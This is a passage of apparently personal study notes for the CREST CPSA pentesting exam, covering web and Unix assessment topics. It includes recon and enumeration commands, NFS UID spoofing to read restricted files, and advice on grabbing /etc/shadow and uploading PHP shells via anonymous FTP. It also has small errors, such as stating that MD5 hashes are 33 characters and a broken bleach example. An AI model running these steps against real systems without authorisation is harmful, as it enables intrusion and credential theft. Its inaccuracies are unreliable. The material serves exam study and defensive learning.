Scan all ports. There may be more applications on other ports.
nmap -p- <target_ip>

**Request Analysis**

- Burpsuite
- OWASP ZAP. Do not use ZAP in OSCP exams.
- POSTMAN - Good for API development. Good to use for sending manual requests.

Mastery of Burpsuite is recommended.

**Path/Directory discovery**

- Dirbuster - https://tools.kali.org/web-applications/dirbuster
- Gobuster - https://github.com/OJ/gobuster
- WFUZZ - https://tools.kali.org/web-applications/wfuzz

**Subdomain discovery - DNS zone transfer**
If DNS on port 53 is open, it is worth a shot to run a DNS zone transfer to find any subdomain information, or other domain information
dig axfr @<DNS_IP>
dig axfr @<DNS_IP> <DOMAIN>
If there isn't, FUZZ for subdomains. See directory discovery.
Gobuster modes: Available Modes dir - the classic directory brute-forcing mode dns - DNS subdomain brute-forcing mode s3 - Enumerate open S3 buckets and look for existence and bucket listings vhost - virtual host brute-forcing mode (not the same as DNS!) Source: https://zweilosec.gitbook.io/hackers-rest/web/web-notes/subdomain-virtual-host-enumeration

## H2 Threat Modelling and Attack Vectors

Simple threat modelling based on customer perception of risk. Relate functionality offered by the application to potential attack vectors.

## H3 Information gathering from Web Markup

Examples of the type of information available in web page source that may prove useful to an attacker: • Hidden Form Fields • Database Connection Strings • Credentials • Developer Comments • Other included files • Authenticated-only URLs
Use "View Page Source" Use Developer Tools in browser

- inspect element
- network tab - see what resources are loaded
- storage - for cookie scanning

## H4 Authentication Mechanisms ( Signups and logins )

Common pitfalls associated with the design and implementation of application authentication mechanisms.
Data flow for authentication:

1. user fills in form
2. Form submitted over POST
3. Username and Password compared to what is saved in databases. (Passwords are usually Hashed)
4. returns data to user's browser

Common pitfalls:

- Inputs not sanitized. Need to escape HTML special characters on **frontend** and **backend**. Once sanitized, largely reduce risks of SQL injection and cross-site scripting attacks. See section on "Input Validation".
- Credentials hidden in the form values. Insecure.
- Prepared statements must be used for SQL injection protection. https://www.w3schools.com/php/php_mysql_prepared_statements.asp
- Credentials saved as plaintext
- Using weak encryption.
- Basic Authentication uses Base64 encoding to store the credentials. If the encoded credentials is leaked, it is easy to get the actual username and password from it.
- Password reuse

## H5 Authorization Mechanisms (Permission to view/edit. Admin user vs normal user)

Common pitfalls associated with the design and implementation of application authorisation mechanisms.
Commonly happens to misconfigured webapps. E.g. A known attack on wordpress is to head to the signup page, signup, and the new user can post, and even be admin user. There is a Bot attack going around which does this, and automatically redirects the website to a malicious website.

## H6 Input Validation

The importance of input validation as part of a defensive coding strategy. How input validation can be implemented and the differences between white listing, black listing and data sanitisation.

**Importance**

Escaping HTML special characters will decrease risk of XSS and SQLinjection attacks. For file uploads, it is important to only allow .jpg for example. If we allow any kind of files, attackers have an easy time uploading malicious PHP files, or other code exuction payloads.

**Black Listing**

- Specify which file extensions are **not** allowed.
- Specify what symbols are **not** allowed in input field, usually done via regular expressions(Regex).

If we fail to specify, everything else is allowed. White listing is recommended.

**White listing**

- Specify which file extensions are allowed.
- Specify what symbols are allowed in input field, usually done via regular expressions(Regex).

Everything else is blocked by default.

**Input sanitization**

Author's Note: In this context of input validation, i believe Data sanitization refers to input sanitization. Data sanitization deals with how we can securely erase
data. https://en.wikipedia.org/wiki/Data_sanitization
https://www.esecurityplanet.com/endpoint/prevent-web-attacks-using-input-sanitization/
Some parts to not of where we need to sanitize inputs:

- HTML output
- HTML attributes
- Javascript
- CSS
- SQL
- Cookies
- HTTP Headers
- URL GET parameters
- POST data

Depending on how the server processes data, even HTTP headers such as "User Agent" can be used for SQL injection. More
reading: https://www.w3schools.com/php/php_form_validation.asp https://dev.to/mrkanthaliya/validating-and-sanitizing-user-inputs-on-python-projects-rest-api-5a4 This
import bleach
bleach.clean('<script>alert("You have been hacked")</script> )
The above python code will prevent the XSS attack from running.

## H7 Missing from the official CREST CPSA syllabus document.

## H8 Information Disclosure in Error Messages

How error messages may indicate or disclose useful information.
Error messages will leak path information of the OS, SQL commands used to save data, what software are used, and all sorts of data.
This is the first step in Error-Based SQLi attacks.

## H9 Cross-site Scripting(CSS)

Potential implications of a cross site scripting vulnerability. Ways in which the technique can be used to benefit an attacker.

**Types of XSS**

https://portswigger.net/web-security/cross-site-scripting

1. Reflected
2. Stored
3. DOM-Based

Reflected XSS is the simplest variety of cross-site scripting. It arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.
Stored XSS (also known as persistent or second-order XSS) arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.
DOM-based XSS (also known as DOM XSS) arises when an application contains some client-side JavaScript that processes data from an untrusted source in an unsafe way, usually by writing the data back to the DOM.
Source: Portswigger
See the Portswigger article for XSS prevention.

**Implications**

Attackers can use an innocent web app to launch attacks.

- In modern context, XSS attacks can cause users of the vulnerable webserver help attackers mine bitcoin or other cryptocurrencies. This attack is called **Cryptojacking**https://www.varonis.com/blog/cryptojacking/
- Defacement of website is possible.
- DoS attacks may be attempted by using users of the vulnerable web app
- Since attacked is launced by users of affected webapp, the real attacker's identity is hidden. Of course, the web app can trace who placed the XSS payloads, but this may take time and effort.
-

## H10 Use of Injection Attacks

Potential implications of injection vulnerabilities: • SQL injection • LDAP injection • Code injection • XML injection
Ways in which these techniques can be used to benefit an attacker.

- Extraction of data, hence leaking data
- Credentials and other sensitive information may be leaked
- Code execution can be achieved.

- Once Code execution is achieved, it is possible to take over the server. Attackers may put in back doors, use the server as a botnet zombie, or whatever else the attacker wants.

## H11 Session Handling

Common pitfalls associated with the design and implementation of session handling mechanisms.
A session is the time where a user is using the website. https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html
The session may manage temporary data, authentication and authorization data that the server can process.

**Session Hijacking**

A session of an authenticated user and an unauthenticated user is different. An attacker will look to obtain session cookie data of an authenticated user.
Once we have the authenticated session cookie, it may be possible to access restricted pages by pretending to be the authenticated user.
Session Hijacking can be done through XSS as well, likely "stored XSS". A javascript code can read cookie data and send it over the web.

## H12 Encryption and encoding

Common techniques used for encrypting data in transit and data at rest, either on the client or server side. Identification and exploitation of Encoded values (e.g. Base64) and Identification and exploitation of Cryptographic values (e.g. MD5 hashes) Identification of common SSL vulnerabilities

**Common Techniques**

RSA for HTTPS. Data maybe transferred as Base64 encoding string

**Identification of Base64**

We may see an == at the back of the long string. This is due to Base64's block requirements. If there are no empty blocks, there will not be the = symbols. An easy way to identify is just to run through Cyberchef or Burpsuite decoder and see if the output makes sense.

**Identification of MD5**

MD5 hash has 33 characters.
We can use tools like hash-identifier to help guess the Hash types https://tools.kali.org/password-attacks/hash-identifier

## H13 Source Code Review

Common techniques for identifying and reviewing deficiencies in the areas of security.
Code review usually done by developers before pushing the code to production environment. This can be done through the engineer, and automated tools.

**Static Code analysis**

https://owasp.org/www-community/Source_Code_Analysis_Tools
Many tools for code analysis.

# Appendix F: Unix Security Assessment

## F1 User enumeration

Discovery of valid usernames from network services commonly running by default:
rusers
rwho
SMTP
finger
Understand how finger daemon derives the information that it returns, and hence how it can be abused.

The discovery of valid usernames from network services like rusers, rwho, SMTP, and finger can be considered as part of information gathering or enumeration during the reconnaissance phase of security assessments. These services may reveal user-related information, which can be valuable for an attacker trying to understand the target network.

**1. rusers and rwho:**

- **rusers (Remote Users):**
  - This service provides a list of users who are currently logged into the remote system.
  - Command: **rusers**
- **rwho (Remote Who):**
  - Similar to rusers, it displays information about users currently logged into the remote system.
  - Command: **rwho**

**2. SMTP (Simple Mail Transfer Protocol):**

- **SMTP Enumeration:**
  - Enumerating user accounts through SMTP involves querying the mail server for valid user accounts.
  - Techniques may include using the VRFY and EXPN commands:
    - **VRFY <username>**: Verifies the existence of a user.
    - **EXPN <mailing list>**: Expands a mailing list.

**3. finger:**

- **Finger Daemon:**
  - The finger service allows users to query information about users on a remote system.
  - Command: **finger <username>@[host]**
  - Finger daemon retrieves information from the /etc/passwd file or a similar user database.
- **Abuse of Finger Daemon:**
  - Finger service, when misconfigured or overly permissive, can leak sensitive information such as usernames, full names, and possibly other details.
  - Attackers may use it for username enumeration by querying for existing usernames.

## F2 Unix vulnerabilities

Recent or commonly found Solaris vulnerabilities, and in particular those for which there is exploit code in the public domain.
Use of remote exploit code and local exploit code to gain root access to target host
Common post exploitation activities:

exfiltrate password hashes
crack password hashes
check patch levels
derive list of missing security patches
reversion to previous state

**Solaris Vulnerabilities**
Author's Notes: Couldn't find any that is generic enough to put in here... :(
**Linux Vulnerabilities**

- Dirty Cow kernel exploit

Generally, if the kernel version is 3+, it is definitely vulnerable to some kernel exploits
**Exfiltrate password hashes & crack**
Linux password files.
`/etc/passwd`
`/etc/shadow`
Once we have these 2, it may be possible to do wordlist attacks, or bruteforce.
**Check patch levels**
`uname -a`
**Derive list of missing security patches**
Author's Notes: Each flavour or distribution have their own package managers. Each handle updating differently.
For example, Debian or Ubuntu with APT package manager:

| **APT command** | **description** |
|---|---|
| apt list --upgradable | List all updates available |
| apt list --upgradable  grep "-security" | List all updates that are security. |

Taken from: learnsomemore, https://askubuntu.com/questions/774805/how-to-get-a-list-of-all-pending-security-updates
**reversion to previous state**
Solaris reverting snapshots https://docs.oracle.com/cd/E36784_01/html/E36820/revertsnap.html

- svcadm restart manifest-import
- svcadm refresh
- svccfg refresh

Linux does not have a default "System Restore" function. There are packages that can help with this.

## F3 File Transfer Protocol(FTP)

FTP access control Anonymous access to FTP servers Risks of allowing write access to anonymous users.

**FTP Bounce Attack**
FTP bounce attack is an exploit of the FTP protocol whereby an attacker is able to use the PORT command to request access to ports indirectly through the use of the victim machine, which serves as a proxy for the request, similar to an Open mail relay using SMTP.
This technique can be used to port scan hosts discreetly, and to potentially bypass a network Access-control list to access specific ports that the attacker cannot access through a direct connection, for example with the nmap port scanner.
Nearly all modern FTP server programs are configured by default to refuse PORT commands that would connect to any host but the originating host, thwarting FTP bounce attacks.
Source: https://en.wikipedia.org/wiki/FTP_bounce_attack

**FTP Access Control**
Uses username and password. Possible to set ftp-specific user, and deny other users from logging in. We can also set home folders for FTP, so that they cannot look at our whole system files.
https://linuxroutes.com/create-ftp-user-with-specific-directory-access/
Importantly, we need to disable shell access for the FTP user.
`usermod -s /sbin/nologin ftpuser`

Even if the ftpuser password is leaked, attackers cannot SSH in through the ftpuser.

**Anonymous access to FTP servers**
Login:
```
ftp <target_ip>
pftp <target_ip>   # this is in passive mode
```
Credentials:
Username: anonymous
Password: anonymous

**Risks of allowing write access to anonymous users.**
If the directory is linked to a php website, we can upload a php file and achieve code execution.
It depends on what the intention of the FTP server, and on you to figure out an attack vector based on file upload from FTP service.
FTP commands:
```
get filename.txt
put filename.txt
```
If we fail to put a file, that means we do not have write access. It may be worth it to check if we can write to other directories.

## F4 Sendmail/ SMTP

Valid username discovery via EXPN and VRFY Awareness of recent Sendmail vulnerabilities; ability to exploit them if possible Mail relaying

Hosts need SMTPd running.

**Banner Grabbing**

```
nc -vn <target_ip> 25
```

**Finding Information**

```
HELO              # or HELO x
VRFY root         # will check if this user in system or not.
EXPN root         # will check user and may reveal email address
```

Auto enumeration

```
nmap --script smtp-enum-users <target_ip>
```

**Recent vulnerabilities**

**Mail Relaying**

Often used in the cloud to help businesses send mass emails, overcoming SMTP limits set by providers etc. https://blog.mailchannels.com/what-is-an-smtp-relay-service

## F5 Network File System(NFS)

NFS security: host level (exports restricted to particular hosts) and file level (by UID and GID).
Root squashing, nosuid and noexec options.
File access through UID and GID manipulation.
NFS is used for file sharing in a network. Generally, we can mount a folder onto our local machine, and have shared functions

**Enumerating shares**
`showmount -e <target_ip>`

**Mounting onto our local machine**
https://linuxize.com/post/how-to-mount-an-nfs-share-in-linux/
`sudo mount -t nfs target_ip:/home/myuser/backups /var/backups -nolock`
unmounting the share
`umount 10.10.0.10:/home/myuser/backups`
OR
`umount /var/backups`
Here, we are mounting the remote user's backup folder into our local machine's /var/backups folder.
Automatic mounting can be done with /etc/fstab

**NFS security by GID, UID**
GID and UID are group id and user id. id id command will show current users id.
On the NFS server machine, some files may be restricted to certain UID or GIDs.

**Launching attack**
CASE: A file has the following **read** permissions: UID=1103
When we mount it, we need similar permissions to access it. We can add a new user into our attacker machine with the UID of 1103

---

Add a user.
`sudo useradd -u 1103 tempuser`
Change the user's password
`sudo passwd tempuser`
Change user of the terminal to tempuser
`su tempuser`
Try and access the file.

---

If a file needs root, we can change to our own root user to access it. The same process goes for GID.

**Root Squashing**
Root squash is a special mapping of the remote superuser (root) identity when using identity authentication (local user is the same as remote user). Under root squash, a client's uid 0 (root) is mapped to 65534 (nobody). It is primarily a feature of NFS but may be available on other systems as well.
Root squash is a technique to avoid privilege escalation on the client machine via suid executables Setuid. Without root squash, an attacker can generate suid binaries on the server that are executed as

root on other client, even if the client user does not have superuser privileges. Hence it protects client machines against other malicious clients.

## F6 Berkeley R* Service (Berkeley r-commands)

https://en.wikipedia.org/wiki/Berkeley_r-commands

Berkeley r* service:

- access control (/etc/hosts.equiv and .rhosts)
- trust relationships Impact of poorly-configured trust relationships.

Berkeley r-commands is a suite created 1981 for sending remote commands from one Unix computer to another. It is not in use today, however, we may still see some or its services, such as rlogin, running in CTFs or labs.

Commands

- rlogin - remote login
- rsh - remote shell. This is a server, does not require login.
- rexec - remote execute. This is a server, requires login.
- rcp - remote copy
- rwho - remote who
- rstat - rstat returns performance statistics from the kernel.
- ruptime - shows how long it has been since last restart. If not response, computer marked as down.

Those r-commands which involve user authentication (rcp, rexec, rlogin, and rsh) share several serious security vulnerabilities:

- All information, including passwords, is transmitted unencrypted (making it vulnerable to interception).
- The .rlogin (or .rhosts) file is easy to misuse. They are designed to allow logins without a password, but their reliance on remote usernames, hostnames, and IP addresses is exploitable. For this reason many corporate system administrators prohibit .rhosts files, and actively scrutinize their networks for offenders.
- The protocol partly relies on the remote party's rlogin client to provide information honestly, including source port and source host name. **A corrupt client is thus able to forge this and gain access**, as the rlogin protocol has no means of authenticating other machines' identities, or ensuring that the requesting client on a trusted machine is the real rlogin client.
- The common practice of mounting users' home directories via NFS exposes rlogin to attack by means of fake .rhosts files - this means that any of NFS's security faults automatically plague rlogin.

Due to these problems, the r-commands fell into relative disuse (with many Unix and Linux distributions no longer including them by default). Many networks that formerly relied on rlogin and telnet have replaced them with SSH and its rlogin-equivalent slogin.

Source: https://en.wikipedia.org/wiki/Berkeley_r-commands#Security

## F7 X11 - X Windowing systom common in Unix-like OSes

X Windows security and configuration; host-based vs. user-based access control. (**NOT MICROSOFT WINDOWS**) https://www.x.org/wiki/ https://en.wikipedia.org/wiki/X_Window_authorization Manual page: https://www.x.org/archive/current/doc/man/man1/Xserver.1.xhtml
It is a GUI system.

**User-based access control.**
`$ xhost +SI:localuser:anotheruser`
localuser:anotheruser being added to access control list
Check for successful addition with
`xhost`
For remote users, we may need something like **SUN-DES-1** and **MIT-KERBEROS-5** identitiy management systems.
**Host-based**
https://www.ibm.com/docs/en/aix/7.1?topic=concerns-enabling-disabling-access-control
`xhost + hostname`
Hostname is taken from /etc/hosts
**Fatal error**
`xhost +`
Without a host name, this will allow all hosts. If the server is open to internet, then it is of course extremely vulnerable.

## F8 Remote Procedure Call(RPC) Services

https://en.wikipedia.org/wiki/Remote_procedure_call RPC service enumeration Common RPC services Recent or commonly-found RPC service vulnerabilities.
Allows for client to execute procedures on a remote machine. NFS is a prominent user of RPC.
**RPC service enumeration**
RPC Tools: https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools
nmap -sV --script=nfs-* <target_ip>
rpbind -p <target_ip>
rpcinfo -p <target_ip>
rpcclient --I <target_ip>
rpcdump [-p port] <target_ip>
**Common RPC services**

- NFS
- SMB2
- MSRPC

## F9 Secure Shell(SSH)

Identify the types and versions of SSH software in use Securing SSH Versions 1 and 2 of the SSH protocol Authentication mechanisms within SSH

**Banner Grabbing**

https://github.com/jtesta/ssh-audit `nc -vn <target_IP> 22 ssh-audit.py [-1246pbcnjvlt] <host>`

**Securing SSH**

https://linux.die.net/man/5/sshd_config

**Turn off root login**

`vi /etc/ssh/sshd_config` Change PermitRootLogin to no PermitRootLogin no restart SSH server /etc/init.d/sshd restart

**Disable empty passwords**

`vi /etc/ssh/sshd_config` Change PermitEmptyPasswords to no PermitEmptyPasswords no

**Turn off password login**

`vi /etc/ssh/sshd_config` Change PasswordAuthentication to no PasswordAuthentication no
This will mean that we have to login using a private key file. If the key is leaked, change it immediately.

**Set number of login tries to prevent login**

`vi /etc/ssh/sshd_config MaxAuthTries 3`
MaxAuthTries Specifies the maximum number of authentication attempts permitted per connection. Once the number of failures reaches half this value, additional failures are logged. The default is 6.

**Protection tools**

https://www.sshguard.net/ https://www.fail2ban.org/wiki/index.php/Main_Page
These are log monitoring and response tools.

**Changing port number?**

While we can change SSH port to somgthing like port 9999(where the default is port 22), it is still weak to targetted attacks.
Tools like shodan can scan for port 22 services on the internet.
However, **security via obscurity** is not reliable and **largely discouraged**.

# Appendix G: Web Technologies

## G1 Web Server Operations

How a web server functions in terms of the client/server architecture. Concepts of virtual hosting and web proxies.

**Traditional Web application**

1. Web server
2. Database server

Client send HTTP requests to webserver, server returns a full webpage after pulling and processing data from static files or database.
Install your own server: https://www.apachefriends.org/index.html
Famous Stacks: Linux, Apache, MySQL, PHP, Perl (LAMPP)

**Modern Apps and Single Page Applications**

Spits backend and front end.
Frontend talks to backend via asynchronous javascript HTTP requests. https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests
A simple view of this is as such. When we get a new PHP page, the browser will request for a totally new page, and data has to be passed to the new page.
Single Page Applications will switch the whole page within the browser to some other content, without having to load new page from browser. The new content could be pre-loaded, or taken via javascript from a backend server to serve the content.
The above is a **simplistic** rundown of webtechnologies. Further reading is required. https://archive.uneca.org/sites/default/files/uploaded-documents/SROs/SA/GIS-SP2018/introduction_to_web_technology.pdf https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_web_server

**Virtual Hosting**

Tradditionally, websites are hosted on computers within an office environment, where the office owns the physical hardware connected to the internet, and is responsible of hardware maintenance and such.
Virtual Hosting is where We can "split" the computer in a way where we can host multiple websites or subdomains. https://en.wikipedia.org/wiki/Virtual_hosting
We will likely see this in cheap shared hosting services such as GoDaddy.

**Web Proxies**

https://en.wikipedia.org/wiki/Proxy_server
Client -> Proxy Server -> web server
The Proxy server sits inbetween the client and the webserver. It can serve functions such as monitoring and filtering, firewall, loadbalancing functions etc.
In pentesting, we may use proxy servers to simulate some behaviours of the machines to accurately retrieve data.

## G2 Web Servers and their flaws

Common web servers and their fundamental differences and vulnerabilities associated with them: • IIS • Apache (and variants)

**Internet Information Services (IIS)**
Windows web service. Runs with .asp, .aspx extensions Depends on web.config file
If we have unrestricted file upload capabilities, we can upload .asp, .aspx files to run reverse shells or other payloads.
If Web.config is viewable, there may be some credentials that is there for us to exploit. If we can change the web.config, we may also use it to achieve code execution.

**Apache**
On its own, Vulnerabilities in the servers are usually due to misconfigurations. e.g. HTTP PUT/COPY methods.
APACHE is often packaged together with PHP. Most vulnerabilities will be found as application vulnerabilities rather than Apache vulnerabilities.

**Apache TOMCAT (.jsp)**
Host manager page vulnverabile to WAR file upload. uses .jsp file extension.
Vulnerabilities in the servers are usually due to misconfigurations. e.g. HTTP PUT/COPY methods.

## G3 Web Enterprise Architecture

Design of tiered architectures. The concepts of logical and physical separation. Differences between presentation, application and database layers.
https://www.ibm.com/sg-en/cloud/learn/three-tier-architecture
Each tier is run on separate infrastructure. Instead of a LAMPP stack on one computer only, we can split frontend, backend, and database into 3 servers.

**Presentation Tier (aka frontend)**
HTML/CSS and JS for communicating with other services.

**Application Tier**
Commonly using REST, RESTFUL or SOAP APIs, this is the back end where data processing occurs.

**Database Tier**
For storing and retrieving data.

**The concepts of logical and physical separation.**
A simplistic view is that "logical" means by software. For example, the LAMPP stack has all 3 services running on the same machine.
A simplistic view is that "physical" means by hardware. For example, we have 3 servers running front,back and database layers.
Implications: Load balancing - The infrastructure is more reliable. if the frontend gets a large number of queries and slows down or crashes, the all 3 services are down.
On a multi-tier architecture, if front end is heavy and slow, we may be able to spin up another instance of front end to lesson the load, whilst **not touching** the backend or databases.
Another implication is that if the frontend is hacked, the data is "safe", as it is elsewhere, granted that credentials are not leaked. This may give incident responders time to react and take action.

## G4 Web Protocols

Web protocols: HTTP, HTTPS, SOAP. All HTTP web methods and response codes. HTTP Header Fields relating to security features

**Hypertext Transfer Protocol (HTTP)**

https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol
Request-Response model. Browser sends requests -> Server responds with data -> Browser shows data on screen for users

**HTTP Requests**
HTTP Request Header
Methods are a way for HTTP to send and receive data, and may have specific functions. Servers may filter request using any of the information here.

Sample request header:
GET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Host: www.google.com
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Cookie: PHPSession=d2hhdGV2ZXJtYW50aGlzaXNhbWF6aW5nanVzdGFzYW1wbGVjb29raWU=; username:iamhero
Connection: Keep-Alive
Method - GET. / is the path of home page. User-Agent: this is what the browser is using. Can be spoofed. Servers may filter request using this. Host is the web domain url Cookie is where data is stored for any number of applications like shopping cart, analytics etc.
Reading: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers

HTTP Request BODY
Add a space after the header to indicate BODY data. This can be where form data is, or any other data that you want to send over to the server.

HTTP METHODS
https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods Extract from Mozzila, Methods
HTTP defines a set of request methods to indicate the desired action to be performed for a given resource. Although they can also be nouns, these request methods are sometimes referred to as HTTP verbs. Each of them implements a different semantic, but some common features are shared by a group of them: e.g. a request method can be safe, idempotent, or cacheable.

**GET** The GET method requests a representation of the specified resource. Requests using GET should only retrieve data.
**HEAD** The HEAD method asks for a response identical to that of a GET request, but without the response body.
**POST** The POST method is used to submit an entity to the specified resource, often causing a change in state or side effects on the server.

**PUT** The PUT method replaces all current representations of the target resource with the request payload.
**DELETE** The DELETE method deletes the specified resource.
**CONNECT** The CONNECT method establishes a tunnel to the server identified by the target resource.
**OPTIONS** The OPTIONS method is used to describe the communication options for the target resource.
**TRACE** The TRACE method performs a message loop-back test along the path to the target resource.
**PATCH** The PATCH method is used to apply partial modifications to a resource.
Usage: GET - Static webpages. Just sends HTML data or API data over. Data transmitted over URL parameters POST - Usually used with forms. Data is send in Request BODY.
There are other methods like **COPY**.
**Dangerous** Methods: PUT/COPY - If we can put files, we achieve file upload. And if it is unrestricted file upload, it can be an entrypoint into the server.

**Hypertext Transfer Protocol Secure (HTTPS)**
https://en.wikipedia.org/wiki/HTTPS
Uses Public-Key Cryptography to secure information. Commonly using RSA for crpytography.

**SSL/TLS**
Latest secure TLS uses TLS1.3.

**Heartbleed OpenSSL exploit**
https://heartbleed.com/ Leakage of data through HTTPS that use OpenSSL.
What is being leaked?
Encryption is used to protect secrets that may harm your privacy or security if they leak. In order to coordinate recovery from this bug we have classified the compromised secrets to four categories: 1) primary key material, 2) secondary key material and 3) protected content and 4) collateral.

**What versions of the OpenSSL are affected?**
Status of different versions:
OpenSSL 1.0.1 through 1.0.1f (inclusive) are vulnerable OpenSSL 1.0.1g is NOT vulnerable OpenSSL 1.0.0 branch is NOT vulnerable OpenSSL 0.9.8 branch is NOT vulnerable
If during your scanning you see OpenSSL 1.0.1x, you may try Hearbleed exploits to see what leaked information you can find.

**Simple Object Access Protoco(SOAP)**
Sends messages with XML format. Since it takes XML data, SOAP APIs may be vulnerable to XML external entity injection(XXE) attacks. Source: https://en.wikipedia.org/wiki/SOAP

```
POST /InStock HTTP/1.1
Host: www.example.org
Content-Type: application/soap+xml; charset=utf-8
Content-Length: 299
SOAPAction: "http://www.w3.org/2003/05/soap-envelope"

<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"
xmlns:m="http://www.example.org">
 <soap:Header>
 </soap:Header>
 <soap:Body>
  <m:GetStockPrice>
   <m:StockName>T</m:StockName>
  </m:GetStockPrice>
 </soap:Body>
</soap:Envelope>
```

**HTTP Response codes**
When HTTP server sends a response, it carries a response code that indicates success or failure or an operation. https://developer.mozilla.org/en-US/docs/Web/HTTP/Status
HTTP response status codes indicate whether a specific HTTP request has been successfully completed. Responses are grouped in five classes:
Informational responses (100–199) Successful responses (200–299) Redirects (300–399) Client errors (400–499) Server errors (500–599)
Common response codes: 200 OK. Indicates success and no issues 301 Moved Permanently - perminant redirect. i.e. text.com/help redirects to test.com/faq 401 Unauthorized 403 Forbidden 404 Not Found - Page not found. 500 Internal Server error 502 Bad Gateway - Likely when server not set up properly. Refer to https://developer.mozilla.org/en-US/docs/Web/HTTP/Status for full list and details.

**HTTP Header Fields relating to security features**
https://infosec.mozilla.org/guidelines/web_security Source: https://www.netsparker.com/blog/web-security/http-security-headers/

```
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
Content-Security-Policy: default-src 'self'
X-Frame-Options: deny
Deprecated ones
X-XSS-Protection: 1; mode=block
Public-Key-Pins:
   pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs=";
   max-age=5184000
Other useful headers
Expect-CT: max-age=86400, enforce,
   report-uri="https://example.com/report"
X-Content-Type-Options: nosniff
```

Referrer-Policy: origin-when-cross-origin
Cache-Control: no-store
Clear-Site-Data: "*"
Feature-Policy: microphone 'none'; camera 'none'
Refer here for more details https://www.netsparker.com/blog/web-security/http-security-headers/ https://infosec.mozilla.org/guidelines/web_security#web-security-cheat-sheet

## G5 Web Markup Languages

HypterText Markup Language In popular use now as web GUI language. HTML/CSS/JS
Extensible Markup Language (XML) Not so polular for use int transmitting data, but we may still find services using it, such as SOAP. Also used as config file storage in web servers, etc.

## G6 Web programming Languages

Common web programming languages: JSP, ASP, PHP, CGI based Perl and JavaScript.

| **Language** | **Desc** |
|---|---|
| Jakarta Server Pages (JSP) | Used in TOMCAT servers. .jsp, .jspx |
| Active Server Pages(ASP) | Common in Microsoft .NET frameworks and IIS. .asp,.aspx |
| PHP: Hypertext Preprocessor | Commonly used language. Wordpress blog framework uses php. .php |
| Common Gateway Interface(CGI) | A set of protocols to communicate with HTTP server. Has Python, Perl based CGI. |
| Javascript(JS) | Popular with Single Page Applications. Refer to NodeJS, and Express server. ReactJS and AngularJS |
| Python | Django, Flask frameworks available |
| Ruby | Ruby on Rails framework |
| Rust | rocket.rs |
| C++ | treefrog framework |

A language is just a language. Almost all Languages have it's own web support or framework.
Frontend: HTML/CSS/JS The above list is common for the data processing aspect, and thus for backend.

## G7 Web Application Server Vulnerabilities

Vulnerabilities in common application frameworks, servers and technologies: .NET, J2EE, Coldfusion, Ruby on Rails and AJAX.
OWASP TOP 10 Web vulnerabilites affects all websites, frameworks and applications. It is better to talk about common web vulnerabilites than the server-specific vulnerabilities.
Not all servers have "Common" vulnerabilities, or rather, the classification of "common" is difficult. Vulnerabilities ofter depends on patch levels, versions, dependencies etc.

| **Web** | **Vulnerabilities** |
|---|---|
| .NET | web.config exposure is common. |
| J2EE | https://owasp.org/www-pdf-archive/OWASP_NL_Top_Ten_Web_Application_Vulnerabilities_in_J2EE.pdf. Not many known vulnerabilties as found in ExploitDB. SAP NetWeaver J2EE Engine 7.40 - SQL Injection |
| Coldfusion | ColdFusion 8,9,10 has multiple vulnerabilities such as remote code execution, authentication bypass, cross-site scripting etc. |
| Ruby on Rails | Has remote code exucution, file disclosures etc. |
| AJAX | There isn't a web server called AJAX, but it is for asynchronous communications with backend servers. |

## G8 Web APIs

Web APIs (Application Programming Interfaces) play a crucial role in enabling communication and interaction between different software applications. They allow developers to access and use the functionality of a web service, application, or server. Here, I'll provide an overview of three types of application interfaces: CGI, ISAPI filters, and Apache modules.

**1. CGI (Common Gateway Interface):**

- **Description:**
  - CGI is one of the earliest and simplest methods for creating dynamic content on the web.
  - It defines a standard for communication between web servers and external programs, called CGI scripts.
- **How it Works:**
  - When a CGI script is requested, the web server executes the script, passing user input to it through environment variables and collecting the script's output to send back to the client.
- **Use Cases:**
  - CGI is often used for simple web applications and scripts written in languages like Perl, Python, or shell scripts.

**2. ISAPI (Internet Server Application Programming Interface) Filters:**

- **Description:**
  - ISAPI is a Microsoft technology used in Windows-based web servers, particularly Internet Information Services (IIS).
  - ISAPI filters are DLLs (Dynamic Link Libraries) that can be loaded into the IIS process to modify or enhance the behavior of the server.
- **How it Works:**
  - ISAPI filters intercept and process HTTP requests and responses before they reach the web application. They can perform tasks such as authentication, logging, or content modification.
- **Use Cases:**
  - ISAPI filters are often used for extending the functionality of IIS servers, implementing custom security measures, or integrating with third-party services.

**3. Apache Modules:**

- **Description:**
  - Apache modules are similar to ISAPI filters but are used in the context of the Apache HTTP Server, an open-source web server software.
- **How it Works:**
  - Apache modules are dynamically loaded into the server process and can modify various aspects of the server's behavior, such as handling specific types of requests or implementing custom authentication.
- **Use Cases:**
  - Apache modules are widely used for extending the functionality of the Apache server. They can range from security modules to those supporting specific web application frameworks.

## G9 Web Subcomponents

Web architecture sub-components: Thin/Thick web clients, servlets and applets, Active X. Flash Application Testing .Net Thick Clients Java Applets Decompilation of client-side code

**Thin vs Thick Clients**

https://medium.com/@mouna.mallipeddi/thin-client-vs-thick-client-69d90c13d02d Tech/computing term, not a web term. May refer to software or hardware. Thin - barebones device/app that needs connects to external resouces Thick - Self-sufficient, self-contained. e.g. LAMPP stack, where it is all on one device, and we can launch locally without internet. Also used when there is a need for offline usage.

**Servlets**

A servlet is a small Java program that runs within a Web server.
Execution of Servlets basically involves six basic steps:
The clients send the request to the webserver. The web server receives the request. The web server passes the request to the corresponding servlet. The servlet processes the request and generates the response in the form of output. The servlet sends the response back to the webserver. The web server sends the response back to the client and the client browser displays it on the screen.
Source: https://www.geeksforgeeks.org/introduction-java-servlets/

**Applets**

An applet is a program written in the Java programming language that can be included in an HTML page, much in the same way an image is included in a page.

